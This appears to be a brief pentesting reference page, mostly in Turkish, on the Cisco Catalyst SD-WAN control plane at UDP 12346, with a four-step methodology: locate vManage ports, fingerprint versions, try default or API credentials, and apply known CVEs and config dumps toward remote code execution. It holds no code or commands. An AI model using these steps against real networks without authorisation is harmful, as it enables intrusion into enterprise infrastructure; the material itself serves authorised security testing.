12346/udp - Pentesting Cisco Catalyst SD-WAN Control Plane

Cisco SD-WAN control

SD-WAN kontrol düzlemi (DTLS/12346 civarı) vEdge/vSmart konuşmasıdır. Yanlış expose edilen vManage/API ile config ve RCE zinciri kurulur.

Metodoloji

1. UDP/12346 ve HTTPS vManage portlarını bul.

2. Sürüm/fingerprint al.

3. Default/API kimlik dene.

4. Bilinen SD-WAN CVE ve config dump uygula.
